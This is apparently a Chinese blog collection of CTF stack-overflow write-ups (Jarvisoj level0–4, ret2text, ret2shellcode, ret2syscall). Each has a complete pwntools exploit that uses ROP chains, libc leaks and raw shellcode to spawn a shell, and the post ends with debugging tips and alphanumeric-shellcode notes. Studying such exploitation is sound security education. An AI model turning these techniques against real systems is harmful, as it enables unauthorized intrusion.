栈溢出总结

栈溢出总结

十一月 14, 2019

本文将会持续更新

Jarvisoj-Level0

image-20191114124203683

发现开启了nx保护

image-20191114123920365

  • 可以看到程序为64位的ELF文件,使用IDA进行分析。

    image-20191114124043024

    发现vulnerable函数,跟进。

    1
    2
    3
    4
    5
    6
    ssize_t vulnerable_function()
    {
    char buf; // [rsp+0h] [rbp-80h]

    return read(0, &buf, 0x200uLL);
    }

    程序开辟了0x80大小的栈空间。但是read0x200字节,造成栈溢出

    image-20191114124335506

    同时在函数里发现了callsystem的函数

    1
    2
    3
    4
    int callsystem()
    {
    return system("/bin/sh");
    }

    题目思路很清晰,也就是我们需要把vulnerable_function函数的返回地址覆盖为callsystem函数的地址。

    我们就可以构造出payload:'a'*0x80+junk_ebp+p64(sys_addr)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    r = remote('pwn2.jarvisoj.com',9881)
    e = ELF("level0.b9ded3801d6dd36a97468e128b81a65d")
    sys_addr = e.symbols['callsystem']
    junk_ebp = 'a'*8#ebp在64位下8位
    payload = 'a'*0x80 + junk_ebp + p64(sys_addr)
    r.send(payload)
    r.interactive()#反弹shell进行交互

    image-20191114125053896

Jarvisoj-Level1

image-20191114125221603

没有开启任何的保护

image-20191114125306156

发现是32位的程序。

进入程序,发现了vulnerable_function函数

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

程序会打印出buf的地址,栈的大小为0x88但是read函数缺读了0x100的大小,可以通过栈溢出让函数跳转到shellcode的位置去执行。

Pwntools构造shellcode:shellcode=asm(shellcraft.sh())

我们可以直接在缓冲区里面构造一个shellcode,并使用buf作为起始地址。

首先我们先要获取到这个地址。

1
2
3
4
5
6
7
#!/usr/bin/python
#coding:utf-8
from pwn import *
r = remote('pwn2.jarvisoj.com',9877)
shellcode = asm(shellcraft.sh())
text = r.recvline()
print text
1
2
3
4
5
catsay@Catsay-PC:/mnt/d/CTF/Study/Pwn/Jarvisoj/level1$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9877: Done
What's this:0xfff242c0?

[*] Closed connection to pwn2.jarvisoj.com port 9877

我们需要获取到fff242c0

r.recvuntil("What's this:")表示从接收到“what’s this:”开始

buf_addr = int(target.recv(10),16)将获取到的十个字符串转换为16进制的整数

那么可以构造出exp:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python 
# -*- coding: utf-8 -*-
from pwn import *
r = remote("pwn2.jarvisoj.com","9877")
shellcode = asm(shellcraft.sh())

text = r.recvline()[14: -2]
buf_addr = int(text, 16)
#shellcode放入buf后,buf并未填满,需要继续覆盖到ebp,所以继续向后填充后再返回buf进行执行
payload = shellcode +"A" *(0x88+0x4-len(shellcode)) + p32(buf_addr)
r.send(payload)
r.interactive()

image-20191114130556760

Jarvisoj-Level2

image-20191114130809712

开启了NX保护

image-20191114130835189

32为的程序

进入vulnerable_function函数

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

image-20191114131021031

查看字符串发现了/bin/sh的地址。并且存在system函数,那么的话我们可以直接跳过去执行。获取shell

payload = junk + fackebp + func + junk + 参数

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
#-*- coding:utf-8 -*-
from pwn import *

p = remote("pwn2.jarvisoj.com",9878)

system_add = p32(0x08048320)
binsh_add = p32(0x0804A024)

payload = 'a'*(0x88 + 0x4) + system_add +'a'*4 + binsh_add
p.sendline(payload)
p.interactive()

因为system()函数需要先传一个地址,这里我们直接随意传,然后跟上/bin/sh

image-20191114131420145

Jarvisoj-Level2_x64

很明显题目是64位的。

image-20191114131620663

题目依然只是开启了NX保护。

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

system("echo Input:");
return read(0, &buf, 0x200uLL);
}

vulnerable_function同样也是一样的。

image-20191114131739301

也就是说就是题目没有变,只是换成了64位。

首先 read() 函数存在缓冲区溢出漏洞。 64位程序 , 函数调用时参数并不是像 32位程序那样全部存放在栈中,而是:

如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 : rdi, rsi, rdx, rcx, r8, r9

如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈,我们这里需要构造 system("/bin/sh")的调用栈,因此需要使用到寄存器传参 , 根据rop的思想 :需要首先在可执行程序(或者该程序的动态连接库)中寻找 pop rdi; ret 这两条汇编指令的机器码ROPgadget --binary level2_x64.04d700633c6dc26afc6a1e7e9df8c94e --only 'pop|ret' | grep 'rdi'

0x00000000004006b3 : pop rdi ; ret

然后就可以构造 payload:

payload = junk + fake + pop_rdi_ret_address + bin_sh_address + system_address

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
#coding:utf-8

from pwn import *
p = remote("pwn2.jarvisoj.com", 9882)
pop_rdi_ret_address = p64(0x4006b3)
bin_sh_address = p64(0x600A90)
system_address = p64(0x4004C0)

payload = "A" * 0x80 + "B" * 0x8 + pop_rdi_ret_address + bin_sh_address + system_address
p.write(payload)
p.interactive()

image-20191114132704913

Jarvisoj-Level3

image-20191116114508069

开启了NX保护,在ida中找到vulnerable_function函数

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

我们在字符串中没有找到/bin/shsystem等字符串信息。

首先看到 vulnerable_function() 函数中的 read()函数可以溢出,也就是说我们可以任意控制程序的流程 , 构造已知函数地址的所有函数调用栈,这样就可以使用vulnerable_function()中的write()函数将got表中的某一个函数地址打印出来

libc库中可以看到一些敏感的信息。

image-20191116115045954

然后配合题目提供的 libc 文件计算 system() 函数的地址以及 "/bin/sh" 的地址,最后利用vulnerable_function()函数中的 read() 函数,继续溢出构造 system("/bin/sh")的调用栈成功得到 shell

关于libc啰嗦一下:

首先,有一类函数,我们称之为库函数,他们已经编译在了libc库中,供需要时调用(有些类似于Windows动态链接库)。

libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。

程序开始运行时,会把整个libc映射到内存中,此后在程序调用相关库函数时,会依据plt-got表的机制,将所需的库函数加载到内存空间的某个虚拟内存地址,然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能

PLT:内部函数表

GOT:全局函数表

完整调用链:Call->PLT->GOT->Real_RVA

GOT表和PLT表:

GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

延迟绑定:

所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序

stack
write
vul_func
1
write_got
4

使用write函数需要有三个参数,就是ssize_t write(int fd,const void *buf,size_t nbytes)

fd = 1 的时候是使用标准输入

因为需要构造write来使得 write的真实地址泄漏
所以 我们使用write的三个参数为1 got_write len(got_write)=4

这样子就可以泄露出write的真实地址,并且还能够在运行一次vul_func函数 ,然后调用system函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python
#coding:utf-8
from pwn import *

#conn=process('./level3')
conn=remote("pwn2.jarvisoj.com","9879")
context.log_level = 'debug'
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
vulfun_addr=0x0804844B
write_plt=e.plt['write']
write_got=e.got['write']
payload1='A'*0x88+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)#泄露出write的地址
conn.recvuntil("Input:\n")
conn.sendline(payload1)
write_addr=u32(conn.recv(4))
#calculate the system_address in memory
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
system_addr=write_addr-libc_write+libc_system
sh_addr=write_addr-libc_write+libc_sh
payload2='A'*0x88+"BBBB"+p32(system_addr)+"dead"+p32(sh_addr)
conn.sendline(payload2)
conn.interactive()

image-20191116143829094

Jarvisoj-Level3_x64

image-20191116144634445

题目的其他地方都一样,只是换成了64位,那么我们就需要使用到ROP了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python
#coding:utf-8
from pwn import *
p = remote('pwn2.jarvisoj.com',9883)
libc = ELF('libc-2.19.so')
elf = ELF('level3_x64')
#context.log_level = 'debug'

pop_edi_ret = 0x00000000004006b3#pop rdi ; ret
pop_esi_ret = 0x00000000004006b1#pop rsi ; pop r15 ; ret
write_plt = 0x00000000004004B0
read_got = 0x0000000000600A60
vul_func = 0x00000000004005E6
shellcode = 'A'*0x80+'bbbbbbbb'
shellcode += p64(pop_edi_ret)+p64(1) #mov edi, 1
shellcode += p64(pop_esi_ret)+p64(read_got)+p64(0) #mov esi, got_read
shellcode += p64(write_plt)+p64(vul_func) # write and return to function
p.recvuntil('Input:\n')
p.sendline(shellcode)

tmp = p.recv(8)
print tmp
p.recvuntil('Input:\n')
addr_read = u64(tmp[0:8])
print 'read_got =',hex(addr_read)
libc_binsh = 0x0000000000180543
addr_system = libc.symbols['system']- libc.symbols['read'] + addr_read
addr_binsh = libc_binsh - libc.symbols['read'] + addr_read
addr_exit = libc.symbols['exit'] - libc.symbols['read'] + addr_read
payload = 'A'*0x80+'bbbbbbbb'
payload += p64(pop_edi_ret)+p64(addr_binsh) # mov edi, addr_binsh
payload += p64(addr_system)+p64(addr_exit) # do system and exit
p.sendline(payload)
p.interactive()

image-20191116145908294

Jarvisoj-Level4

image-20191116150049652

开启了NX保护,32位程序

image-20191116150136489

同样还是read函数溢出,但是这次没有给libc库,so我们可以看一下这个文章:https://www.anquanke.com/post/id/85129

DynELF的基本的使用模版是这样的

1
2
3
4
5
6
7
8
9
10
11
12

p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

这里构造payload为 payload = 'A'*0x88+'BBBB'+p32(plt_write)+p32(addr_func)+p32(1) + p32(address) + p32(length) , 就可以泄漏address的地址。 知道了address的地址的话就简单很多了,只需要先用readbbs写入/bin/sh然后再调用system就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
#coding:utf-8
from pwn import *
r = remote('pwn2.jarvisoj.com', 9880)
elf = ELF('./level4')
padding = 'a' * (0x88 + 0x4)
write_addr = elf.plt['write']
main_addr = elf.symbols['main']
read_addr = elf.plt['read']

def leak(addr):
payload = padding
payload += p32(write_addr)
payload += p32(main_addr)
payload += p32(1) + p32(addr) + p32(4)
r.sendline(payload)
leak_addr = r.recv(4)
return leak_addr

d = DynELF(leak,elf = ELF('./level4'))
system_addr = d.lookup('system','libc')
print(hex(system_addr))

bss_addr = elf.bss()
payload1 = padding
payload1 += p32(read_addr)
payload1 += p32(system_addr)
payload1 += p32(0) + p32(bss_addr) + p32(8)
payload1 += p32(bss_addr)

r.sendline(payload1)
r.sendline('/bin/sh\0')
r.interactive()

image-20191116151651796

CTF-WIKI-ret2text

image-20191117203353833

开启了NX保护,32位的程序。

image-20191117203548911

gets函数溢出

image-20191117203712027

secure()函数中发现了system("/bin/sh");

我们可以直接构造使程序跳转到此处进行获取shell

image-20191117203913615

可以看到程序是esp的索引,开始调试一下。

.text:080486AE call _gets处下断点。

image-20191117204652420

esp是0xffffceb0

ebp是0xffffcf38

s对于esp是esp+1Ch

我们可以得出s是0xFFFFCECC,然后ebp-s得到s相对于ebp的偏移是6ch,覆盖到ebp就是0x6c+4

最后得到payload:

1
2
3
4
5
6
7
#!/usr/bin/python
#coding:utf-8
from pwn import *
p = process('./ret2text')
call_bash = 0x0804863A
p.sendline('A' * (0x6c+4) + p32(call_bash))
p.interactive()

ret2shellcode

原理:

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

我们打开题目

image-20200103134449648

可以看到有两条puts输出语句,还有两条fgets获取输入

其中name是在bss段,s是在栈上,那么我们可以把Shellcode写在bss段,然后构造栈溢出让EIPbss段执行。

exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *
r = remote('xxxxxxxxx',xxxx)
bss_addr = 0x0804A080
shellcode = asm(shellcraft.sh())
r.recvuntil('Name:')
r.sendline(shellcode)
payload =p32(bss_addr)*0x100
r.recvuntil('message:')
r.sendline(payload)
r.interactive()

image-20200103134842157

ret2shellcode_64

原理相同

shellcode:

1
shellcode =  '\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'

ret2sys_32

打开题目

image-20200103140958469

这里应该存在溢出,来调试一下

image-20200103141132291

44个字节直接覆盖到了eip,那么我们来找一下gadget

image-20200103141455130

三处连续pop | ret

image-20200103141537333

找到int 0x80 ret

image-20200103141636321

现在的问题是,我们没有/bin/sh字符串,那么我们可以利用系统调用的方式来构造一个read先去写在程序的bss段一个/bin/sh

image-20200103141936952

那么我们现在的问题就是要去堆这个ROP链,去先readshbss段里面,然后去调用execve

image-20200103142306241

image-20200103142343011

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
from pwn import *
sh = remote('xxx',xxxx)
int_0x80 = 0x0806F350
pop_eax = 0x080bb2c6
pop_ebx_ecx_edx = 0x0806ecb0
buf = 0x080EAF80
payload = 'A'*(0x28+0x4)
payload += flat([pop_eax,0x03,pop_ebx_ecx_edx,50,buf,1,int_0x80,pop_eax,0xb,pop_ebx_ecx_edx,0,0,buf,int_0x80])
sh.recvuntil('system?')
sh.sendline(payload)
sleep(1)
sh.sendline('/bin/sh\x00')
sh.interactive()

image-20200103142445144

ret2sys_64

  • syscall_64:https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

    image-20200103180227493

    依然是这个地方

    char v4; // [rsp+0h] [rbp-50h]

    覆盖到rbp一共是0x58

    思路和ret2sys_32一致,但是需要参考64位的syscall

    而且在64位中并不是使用int 0x80去调用,而是使用syscall

    那么我们的exp就可以写出来了

    exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    #!/usr/bin/python
    from pwn import *

    sh = remote('xxxx',xxxx)

    pop_rdi = 0x00000000004016c3
    pop_rsi = 0x00000000004017d7
    pop_rdx = 0x00000000004377d5
    pop_rcx = 0x00000000004b8837
    pop_rax = 0x000000000046b9f8
    buf = 0x6C1000
    syscall = 0x000000000045bac5
    payload = 'A'*0x58
    payload += p64(pop_rdx)
    payload += p64(0x50)
    payload += p64(pop_rsi)
    payload += p64(buf)
    payload += p64(pop_rdi)
    payload += p64(1)
    payload += p64(pop_rax)
    payload += p64(0)
    payload += p64(syscall)
    #-------------execve-------------------
    payload += p64(pop_rdx)
    payload += p64(0)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(pop_rdi)
    payload += p64(buf)
    payload += p64(pop_rax)
    payload += p64(59)
    payload += p64(syscall)


    sh.recvuntil('system_x64?')
    sh.sendline(payload)
    sleep(1)
    sh.sendline('/bin/sh\x00')
    sh.interactive()

    image-20200103180829217

  • ez_ret2libc:

技巧

  • ncat

    • 建立local service环境
    • ncat -vc ./shellcode -kl 127.0.0.1 8888
    • ncat -vc 'strace -e trace=read ./shellcode' -kl ::1 4000
  • readelf

    • readelf -a /lib/i386-linux-gnu/libc.so.6 | grep ' printf@'
    • readelf -a ret2shellcode_32 | grep STACK
  • GDB

    • ni:单步步过
    • si:单步步入
    • c:运行到下一个断点
    • fin:会根据bt(断点)的结果,调到return的位置
    • x/wx 0x804a040:dump一个word 16进制
    • x/10wx 0x804a040:dump十个word 16进制
    • x/7i 0x804a040:看7条指令
    • x/s 0x804a040:看字符串
    • attach:
      • 先查看进程id:pidof shellcode
      • 进入gdb,attach PID
      • 如果不能attach的话,执行:echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
  • Hook&Patch

    • 关掉alarm

      • sed -i s/alarm/isnan/g ./shellcode

      • ltrace ./shelllcode查看是否还有alarm

      • hook alarm by LD_PRELOAD

        1
        2
        3
        4
        5
        6
        //hook.c
        #include <stdio.h>
        unsigned int alarm(unsigned int seconds){printf("%d\n",seconds);}

        // gcc hook.c -o hook.so -shared -fPIC -m32(如果需要64位去掉-m32即可)
        // LD_PRELOAD=./hook.so ./shellcode
      • 这种hook的方式是有局限性的,只有file shellcode之后,出现了dynamically linked的时候才可以这样hook,如果没有,那么证明这个程序是将库编译进入程序的。

      • LD_SHOW_AUXV

        • LD_SHOW_AUXV=1 ./shellcode
        • 可以和ncat一起用,这样就可以在写exploit的时候看起来很方便。
    • qira

      • qira -s ./shellcode
    • pwntools

      • python2 library & toolkit

      • pip install pwntools

      • tube,asm,disasm,DynELF,shellcraft

        1
        2
        3
        4
        5
        6
        7
        8
        #!/usr/bin/env python
        from pwn import *
        #print enhex(asm('mov eax,ebx'))#89d8
        #print disasm(unhex('58'))#pop eax
        r = remote('127.0.0.1',8888)
        r.recvuntil('name')#出现name后再send
        r.sendline(shellcode)
        r.interactive()
  • nasm

    • x86 assembler 编译shellcode

      1
      2
      3
      4
      nasm -felf32 shell.asm -o shell.o
      ld -melf_i386 shell.o 0o shell
      objcopy -O binary shell.o shell.bin
      objdump -b binary -m i386 -D shell.bin
  • Alphanumeric Shellcode

    • 只使用A-Za-z0-9写shellcode

    • int 0x80 = \xcd\x80

      怎么做system call?

    • 自修改

      |decoder1(修复坏字节)|encoded decoder2(有坏字节)|encoded shellcode

    • Opcode Table

      1
      2
      3
      4
      5
      6
      7
      8
      0  30 41 42             xor   BYTE PTR [ecx+0x42],al
      4 34 41 xor al,0x41
      8 38 41 42 cmp cmp BYTE PTR [ecx+0x42],al
      a 61 popa
      A 41 inc ecx
      H 48 dec eax
      P 50 push eax
      X 58 pop eax
      1
      2
      3
      from pwn import *
      for x in string.letters+string.digits:
      print x,disasm(x+'ABCDEFG').split('\n')[0][6:]
    • Register 赋值

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      PQRSTUVWa
      0: 50 push eax
      1: 51 push ecx
      2: 52 push edx
      3: 53 push ebx
      4: 54 push esp
      5: 55 push ebp
      6: 56 push esi
      7: 57 push edi
      8: 61 popa
    • 取Shellcode位置:

      1
      2
      3
      4
      5
      6
      LLLLY(assumed we return to shellcode)
      0: 4c dec esp
      1: 4c dec esp
      2: 4c dec esp
      3: 4c dec esp
      4: 59 pop ecx
    • eax赋值

      1
      2
      3
      0:   6a  44                   push    0x44
      2: 58 pop eax
      3: 34 43 xor al,0x43